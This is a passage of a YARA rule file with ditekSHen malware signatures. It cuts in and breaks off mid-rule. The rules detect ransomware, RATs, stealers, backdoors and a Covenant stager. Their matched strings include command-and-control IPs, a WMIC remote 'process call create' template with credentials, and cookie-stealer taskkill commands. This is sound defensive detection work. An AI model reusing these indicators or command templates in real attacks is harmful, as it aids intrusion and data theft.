		$s7 = ".?AVTPipeProtocol@@" fullword ascii
		$s8 = ".?AVTCaptureMgr@@" fullword ascii
		$s9 = "system-%d" fullword wide
		$s10 = "[test] %02d:%02d:%02d:%03d %s" fullword wide
		$s11 = "\\..\\data.dat" fullword wide
		$s12 = "\\..\\config.ini" fullword wide
		$s13 = { 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 20 00 2d 00 77 00 6f 00 72 00 6b 00 65 00 72 00 }
		$s14 = { 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 20 00 2d 00 64 00 61 00 65 00 6d 00 6f 00 6e 00 }
		$cnc1 = "https://%s:%d/ajax" fullword wide
		$cnc2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36" fullword wide
		$cnc3 = "139.180.208.225" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 7 of ( $s* ) or ( 2 of ( $cnc* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Dllhijacker02 : FILE
{
	meta:
		description = "Detects ServiceCrt / DllHijacker03 IronTiger / LuckyMouse / APT27 malware"
		author = "ditekSHen"
		id = "de5eee06-570a-5ec3-9e1b-13de4c4f260f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5512-L5527"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d4eb236256c413d4d3223cc897783f5631c7798c0f3280e72d8c8504438fcaf9"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "ServiceCrtMain" fullword ascii
		$s2 = "mpsvc.dll" fullword ascii
		$o1 = { 84 db 0f 85 4c ff ff ff e8 14 06 00 00 8b f0 83 }
		$o2 = { f7 c1 00 ff ff ff 75 c5 eb 13 0f ba 25 10 20 01 }
		$o3 = { 8d 04 b1 8b d9 89 45 fc 8d 34 b9 a1 18 20 01 10 }
		$o4 = { b0 01 c3 68 b8 2c 01 10 e8 83 ff ff ff c7 04 24 }
		$o5 = { eb 34 66 0f 12 0d 00 fe 00 10 f2 0f 59 c1 ba cc }
		$o6 = { 73 c7 dc 0d 4c ff 00 10 eb bf dd 05 34 ff 00 10 }
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* ) and 5 of ( $o* )
}

rule DITEKSHEN_MALWARE_Win_Zeoticus : FILE
{
	meta:
		description = "Detects Zeoticus ransomware"
		author = "ditekSHen"
		id = "6d1096dd-d075-54eb-ade9-48e2f945145d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5529-L5549"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "588c140c141e82dae56758550549dfb96410db50521ac546477e1adc5575b4a0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Dear %s" fullword wide
		$s2 = "\\??\\UNC\\%s\\%s\\" wide
		$s3 = "\\\\%ws\\admin$\\%ws" wide
		$s4 = "%s /node:\"%ws\" /user:\"%ws\" /password:" wide
		$s5 = "process call create" wide
		$s6 = ">----===Zeoticus" ascii
		$s7 = "ZEOTICUSV2" ascii
		$s8 = "GetExtendedTcpTable" fullword ascii
		$s9 = "SHAMROckSWTF" ascii
		$s10 = "NTDLL.RtlAllocateHeap" fullword ascii
		$s11 = ".pandora" fullword wide
		$s12 = { 70 00 20 00 72 00 20 00 69 00 20 00 76 00 20 00 65 00 20 00 74 }
		$pdb = "_cryptor\\shell_gen\\Release\\" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) or ( $pdb ) )
}

rule DITEKSHEN_MALWARE_Win_Dlagent11 : FILE
{
	meta:
		description = "Detects downloader agent"
		author = "ditekSHen"
		id = "c8bf9b1a-4ec1-5291-a334-82c79980ef53"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5551-L5564"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "61df4855766050237c0b67bf70684020beb5d88f5928fa2814077e505be938a6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$pdb = "\\loader2\\obj\\Debug\\loader2.pdb" ascii
		$s1 = "DownloadFile" fullword ascii
		$s2 = "ZipFile" fullword ascii
		$s3 = "WebClient" fullword ascii
		$s4 = "ExtractToDirectory" fullword ascii
		$s5 = "System Clear" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( ( $pdb ) and 4 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Softcnapp : FILE
{
	meta:
		description = "Detects SoftCNApp"
		author = "ditekSHen"
		id = "473442e2-d411-5e2b-948e-c7ce034a5810"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5566-L5583"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2d7f4320282218842fa2e82906bcaf691610ad1a6ea257a2a9fc9e062229a2e8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\\\.\\PIPE\\SOC%d" fullword ascii
		$s2 = "Mozilla/5.0 (Windows NT 6.1)" fullword ascii
		$s3 = "Param: sl=%d; sl=%d; sl=%d; sl=%d; sl=%d;" fullword ascii
		$s4 = ".?AVCHPPlugin@@" fullword ascii
		$s5 = ".?AVCHPCmd@@" fullword ascii
		$s6 = ".?AVCHPExplorer@@" fullword ascii
		$s7 = "%s\\svchost.exe -O" fullword wide
		$s8 = "\"%s\\%s\" -P" fullword ascii
		$n1 = "45.63.58.34" fullword ascii
		$n2 = "127.0.0.1" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or ( all of ( $n* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Covenantgruntstager : FILE
{
	meta:
		description = "Detects Covenant Grunt Stager"
		author = "ditekSHen"
		id = "61495541-ed9c-5227-aa50-cbaeacfb20a2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5585-L5606"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "638f63f605b21154f062b0f4d0659cd6cd87aee319debb2c1a991a679fec087a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "VXNlci1BZ2VudA" ascii wide
		$x2 = "cGFnZT17R1VJRH0mdj0x" ascii wide
		$x3 = "0eXBlPXtHVUlEfSZ2PTE" ascii wide
		$x4 = "tZXNzYWdlPXtHVUlEfSZ2PTE" ascii wide
		$x5 = "L2VuLXVzL" ascii wide
		$x6 = "L2VuLXVzL2luZGV4Lmh0bWw" ascii wide
		$x7 = "L2VuLXVzL2RvY3MuaHRtbD" ascii wide
		$s1 = "ExecuteStager" ascii
		$s2 = "UseCertPinning" fullword ascii
		$s3 = "FromBase64String" fullword ascii
		$s4 = "ToBase64String" fullword ascii
		$s5 = "DownloadString" fullword ascii
		$s6 = "UploadString" fullword ascii
		$s7 = "GetWebRequest" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or all of ( $s* ) or ( 1 of ( $x* ) and 5 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Fabookie : FILE
{
	meta:
		description = "Detects Fabookie / ElysiumStealer"
		author = "ditekSHen"
		id = "dfa653c4-37d9-5e31-9c47-23adf751e4aa"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5608-L5624"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "bbe10323817d501a361a33abf61a49ad59fcac69d78d9d9ec1744ee99a4b4629"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "rwinssyslog" fullword wide
		$s2 = "_kasssperskdy" fullword wide
		$s3 = "[Title:%s]" fullword wide
		$s4 = "[Execute]" fullword wide
		$s5 = "[Snapshot]" fullword wide
		$s6 = "Mozilla/4.0 (compatible)" fullword wide
		$s7 = "d-k netsvcs" fullword wide
		$s8 = "facebook.websmails.com" fullword wide
		$s9 = "CUdpClient::Start" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x0805 ) and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Cobianrat : FILE
{
	meta:
		description = "Detects CobianRAT, a fork of Njrat"
		author = "ditekSHen"
		id = "5a9b6f04-fc52-52a9-b72f-d24dd093e886"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5626-L5640"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5c8f55e5328b61c3591c876797b4521f8e98af7a6c53bab918f10d5c3c2b5013"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "1.0.40.7" fullword wide
		$s2 = "DownloadData" fullword wide
		$s3 = "Executed As" fullword wide
		$s4 = "\\Plugins" fullword wide
		$s5 = "LOGIN" fullword wide
		$s6 = "software\\microsoft\\windows\\currentversion\\run" wide
		$s7 = "Hidden" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Leivion : FILE
{
	meta:
		description = "Detects Leivion"
		author = "ditekSHen"
		id = "77800add-8fff-5657-9ed6-a23517bce0b1"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5660-L5673"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a0cda23df4301b66feedad7c04b4d051c07474ccaa07c05598dd0b47bb6fc7e6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "/var/lib/veil/go/src/runtime/mem_windows.go" fullword ascii
		$s2 = "/var/lib/veil/go/src/internal/singleflight/singleflight.go" fullword ascii
		$s3 = "/var/lib/veil/go/src/net/http/sniff.go" fullword ascii
		$s4 = "/var/lib/veil/go/src/net/sendfile_windows.go" fullword ascii
		$s5 = "/var/lib/veil/go/src/os/exec_" ascii
		$s6 = "/var/lib/veil/go/src/runtime/mgcsweep.go" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Banload : FILE
{
	meta:
		description = "Detects Banload"
		author = "ditekSHen"
		id = "4672bce1-1280-576d-b7df-f0181a854058"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5675-L5688"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5cbc69d11b73f60d6eee3f23ed6cc217ba37a3408cb69e396e0394b5a1e20b75"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "main.die" fullword ascii
		$s2 = "main.postResults" fullword ascii
		$s3 = "main.checkin" fullword ascii
		$s4 = "RegQueryValueExWRemoveDirectoryWSETTINGS_TIMEOUTTerminateProcessUpgrade RequiredUser-Agent: %s" ascii
		$s5 = "pcuser-agentws2_32.dll (targetpc= DigestType ErrCode=%v" ascii
		$s6 = "invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrie" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Infinitylock : FILE
{
	meta:
		description = "Detects InfinityLock ransomware"
		author = "ditekSHen"
		id = "7a66cc19-c635-580b-abc2-b58bd48673bd"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5705-L5723"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "634759f1c2d48becebc9c87e146e898524071738f74b7001b112dc793bcb581c"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "_Encrypted$" fullword ascii
		$s2 = "PublicKeyToken=" fullword ascii nocase
		$s3 = "GenerateHWID" fullword ascii
		$s4 = "CreateKey" fullword ascii
		$d1 = "ProgrammFiles" fullword ascii
		$d2 = "OneDrive" fullword ascii
		$d3 = "ProgrammsX86" fullword ascii
		$d4 = "UserDirs" fullword ascii
		$d5 = "B_Drive" fullword ascii
		$pdb1 = "F:\\DESKTOP!\\ChkDsk\\ChkDsk\\obj\\" ascii
		$pdb2 = "\\ChkDsk\\obj\\Debug\\PremiereCrack.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) and 1 of ( $d* ) ) or ( 4 of ( $d* ) and 2 of ( $s* ) ) or ( any of ( $pdb* ) and 1 of ( $s* ) and 1 of ( $d* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Mountlocker : FILE
{
	meta:
		description = "Detects MountLocker ransomware"
		author = "ditekSHen"
		id = "0590d08d-1ee8-5dfe-af12-15b149acd2d6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5725-L5740"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "30bc601fef60cc1c9d8bff5dd3f8a53214f088b74eb24fe2369f5664613e0eaf"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "] locker.dir.check > " ascii wide
		$s2 = "] locekr.kill." ascii wide
		$s3 = "] locker.worm" ascii wide
		$s4 = "%CLIENT_ID%" fullword ascii
		$s5 = "RecoveryManual.html" ascii wide
		$s6 = "RECOVERY MANUAL" ascii
		$s7 = ".ReadManual.%0.8X" ascii wide
		$s8 = "/?cid=%CLIENT_ID%" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule DITEKSHEN_MALWARE_Win_Pingback : FILE
{
	meta:
		description = "Detects PingBack ICMP backdoor"
		author = "ditekSHen"
		id = "ecb313b6-f923-5b6d-a4d7-a4650817ed84"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5742-L5761"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c5fa9ecefca1188ba5e81c0518f74023884ad0f66718fc030601cb458bdf2f12"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Sniffer ok!" fullword ascii
		$s2 = "recv icmp packet!" fullword ascii
		$s3 = "WSASocket() failed: %d" fullword ascii
		$s4 = "file on remote computers success" ascii
		$s5 = "listen port error!" fullword ascii
		$s6 = "\\PingBackService" ascii
		$c1 = "exec" fullword ascii
		$c2 = "rexec" fullword ascii
		$c3 = "exep" fullword ascii
		$c4 = "download" fullword ascii
		$c5 = "upload" fullword ascii
		$c6 = "shell" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or all of ( $c* ) or ( 4 of ( $c* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Coinminer01 : FILE
{
	meta:
		description = "Detects coinmining malware"
		author = "ditekSHen"
		id = "739e7cea-c6b6-5add-86d4-382b00e2b645"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5778-L5790"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "31a7531ecc7b8a35ba882c17d15bd3581e65b4b99dd3a7cb8bca8f6edf204114"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "-o pool." ascii wide
		$s2 = "--cpu-max-threads-hint" ascii wide
		$s3 = "-P stratum" ascii wide
		$s4 = "--farm-retries" ascii wide
		$dl = "github.com/ethereum-mining/ethminer/releases/download" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or ( $dl ) )
}

rule DITEKSHEN_PUA_Win_Ultrasurf : FILE
{
	meta:
		description = "Detects UltraSurf / Ultrareach PUA"
		author = "ditekSHen"
		id = "ba0f6867-bddc-5e72-978c-8e29b1b6b709"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5792-L5807"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d8d17b1bf20c12f864697d3dd66f345a8b93e2a75f0489b58b23b7f5264b6be3"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Ultrareach Internet Corp." ascii
		$s2 = "UltrasurfUnionRectUrlFixupWUse Proxy" ascii
		$s3 = "Ultrasurf UnlockFileUrlEscapeWUser-Agent" ascii wide
		$s4 = "Ultrasurf0#" ascii
		$m1 = "main.bindata_read" fullword ascii
		$m2 = "main.icon64_png" fullword ascii
		$m3 = "main.setProxy" fullword ascii
		$m4 = "main.openbrowser" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $s* ) or ( all of ( $m* ) and 1 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Hello : FILE
{
	meta:
		description = "Hunt for Hello / WickrMe ransomware"
		author = "ditekSHen"
		id = "99c11aab-8a3a-5e10-9af0-542e55129d51"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5809-L5820"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f52f12eb38613f5afd5258b5263c6e6e2d9db6c9659a769f896a2bb66564fa69"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "DeleteBackupFiles" ascii wide
		$s2 = "GetEncryptFiles" ascii wide
		$s3 = "DeleteVirtualDisks" ascii wide
		$s4 = "DismountVirtualDisks" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule DITEKSHEN_MALWARE_Win_Cookiestealer : FILE
{
	meta:
		description = "Detects generic cookie stealer"
		author = "ditekSHen"
		id = "64c6c59d-4046-5949-bf71-22a5f6bfa209"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5841-L5857"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9cc406ae078e37430b3cf10954c02014b9760bc887344842e724df735d1d9808"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "([\\S]+?)=([^;|^\\r|^\\n]+)" fullword ascii
		$s2 = "(.+?): ([^;|^\\r|^\\n]+)" fullword ascii
		$s3 = "Set-Cookie: ([^\\r|^\\n]+)" fullword ascii
		$s4 = "cmd.exe /c taskkill /f /im chrome.exe" fullword ascii
		$s5 = "FIREFOX.EXE|Google Chrome|IEXPLORE.EXE" ascii
		$pdb1 = "F:\\facebook_svn\\trunk\\database\\Release\\DiskScan.pdb" fullword ascii
		$pdb2 = "D:\\Projects\\crxinstall\\trunk\\Release\\spoofpref.pdb" fullword ascii
		$ua1 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36" fullword ascii
		$ua2 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) and 1 of ( $pdb* ) and 1 of ( $ua* ) ) or ( all of ( $ua* ) and 1 of ( $pdb* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Bitcoingrabber : FILE
{
	meta:
		description = "Detects generic bitcoin stealer"
		author = "ditekSHen"
		id = "f73b58da-1db5-5767-ae0a-074648e30966"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5859-L5875"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2dc762525c1fbf25517df52f0561d96d7469bf1367eada31c236fc313001c6cb"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
		$s2 = "Bitcoin-Grabber" ascii
		$s3 = "Bitcoin_Grabber" ascii
		$s4 = "encrypt resources [compress]T" fullword ascii
		$s5 = "code control flow obfuscationT" fullword ascii
		$s6 = "\\Users\\lakol\\Desktop\\a\\Crypto Currency Wallet Changer\\" ascii
		$pat1 = "\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\\b" fullword wide
		$pat2 = "\\b0x[a-fA-F0-9]{40}\\b" fullword wide
		$pat3 = "\\b4([0-9]|[A-B])(.){93}\\b" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of ( $s* ) or ( all of ( $pat* ) and 2 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_FOXGRABBER : FILE
{
	meta:
		description = "Detects FOXGRABBER utility"
		author = "ditekSHen"
		id = "b98e501c-e9c6-5fcc-bfa0-9475ce32864c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5877-L5890"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5ecba516f1155bdcccf83b0a034b11d8eac8619d4c3326fdbc76082fbe4daf02"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "start grabbing" wide
		$s2 = "end grabbing in" wide
		$s3 = "error of copying files from comp:" wide
		$s4 = "\\Firefox\\" wide nocase
		$pdb1 = "\\obj\\Debug\\grabff.pdb" ascii
		$pdb2 = "\\obj\\Release\\grabff.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( 1 of ( $pdb* ) and 1 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Deathransom : FILE
{
	meta:
		description = "Detects known DeathRansom ransomware"
		author = "ditekSHen"
		id = "a6eeb607-8b5c-5982-8b5a-aa2b3c6a65e6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5908-L5925"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3c87364a7ecc403262056eeccaa16bf230fbbe684e21d35099d0d572abba9eda"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "%s %f %c" fullword ascii
		$pdb1 = ":\\wud.pdb" ascii
		$spdb2 = "\\crypt_server\\runtime\\crypt" ascii
		$spdb3 = "\\bin\\nuvin.pdb" ascii
		$h1 = "#Dunubeyokunov" wide
		$h2 = "^Neyot dehipijakeyelih" wide
		$h3 = "talin%Sanovurenofibiw" wide
		$h4 = "WriteFile" fullword ascii
		$h5 = "ClearEventLogA" fullword ascii
		$h6 = "Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $pdb* ) or ( all of ( $s* ) and 1 of ( $pdb* ) ) or 5 of ( $h* ) )
}

rule DITEKSHEN_MALWARE_Win_Unlockyourfiles : FILE
{
	meta:
		description = "Detects UnlockYourFiles ransomware"
		author = "ditekSHen"
		id = "265f2a48-143a-56c9-9cd4-b5137799a9e8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5927-L5946"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "05f549467fac03d4aa2248a9c6c87e4c4273ed6ad727ebb77a4dd115032e454b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "filesx0" wide
		$s2 = "_auto_file" wide
		$s3 = "<EncyptedKey>" fullword wide
		$s4 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\" wide
		$s5 = "DecryptAllFile" fullword ascii
		$s6 = "AES_Only_Decrypt_File" fullword ascii
		$m1 = "Free files decrypted" wide
		$m2 = "Restore my files" wide
		$m3 = "Type tour password..." wide
		$m4 = "files encrypted by strong password" ascii
		$m5 = "buy bitcoin" ascii
		$m6 = "Unlock File" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or 5 of ( $m* ) or ( 2 of ( $s* ) and 2 of ( $m* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Decryptmyfiles : FILE
{
	meta:
		description = "Detects DecryptMyFiles ransomware"
		author = "ditekSHen"
		id = "dab518f2-3fac-5492-88fb-35cd0000ec47"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5948-L5964"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5b7f74569700e2ad3f31388571dad5ffda45f5ab3dd36806f7514aff0367d5ba"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "FILES ENCRYPTED" wide
		$s2 = "pexplorer.exe" fullword wide
		$s3 = "uniquesession" fullword ascii
		$s4 = ".[decryptmyfiles.top]." fullword ascii
		$s5 = "decrypt 1 file" ascii
		$s6 = "(databases,backups, large excel" ascii
		$c1 = "api/connect.php" ascii
		$c2 = "decryptmyfiles.top" ascii
		$c3 = "/contact/" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or all of ( $c* ) or ( 2 of ( $c* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Motocos : FILE
{
	meta:
		description = "Detects Motocos ransomware"
		author = "ditekSHen"
		id = "be7284be-b57d-5a2c-9a84-37d76445cd0d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L5966-L5981"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "99ac365c277058503874313e3a74ab016d6d279b47c754c3df950e3ce60e29f1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Block Investigation Tools" wide
		$s2 = "powershell.exe,taskmgr.exe,procexp.exe,procmon.exe" wide
		$s3 = "google.com,youtube.com,baidu.com,facebook.com,amazon.com,360.cn,yahoo.com,wikipedia.org,zoom.us,live.com,reddit.com,netflix.com,microsoft.com,instagram.com,vk.com," wide
		$s4 = "START ----" wide
		$s5 = "TEngine.Clear_EventLog_Result" wide
		$s6 = "TEngine.EncryptLockFiles" wide
		$s7 = "TEngine.CleanShadowFiles" wide
		$s8 = "TDNSUtils.SendCommand" wide
	condition:
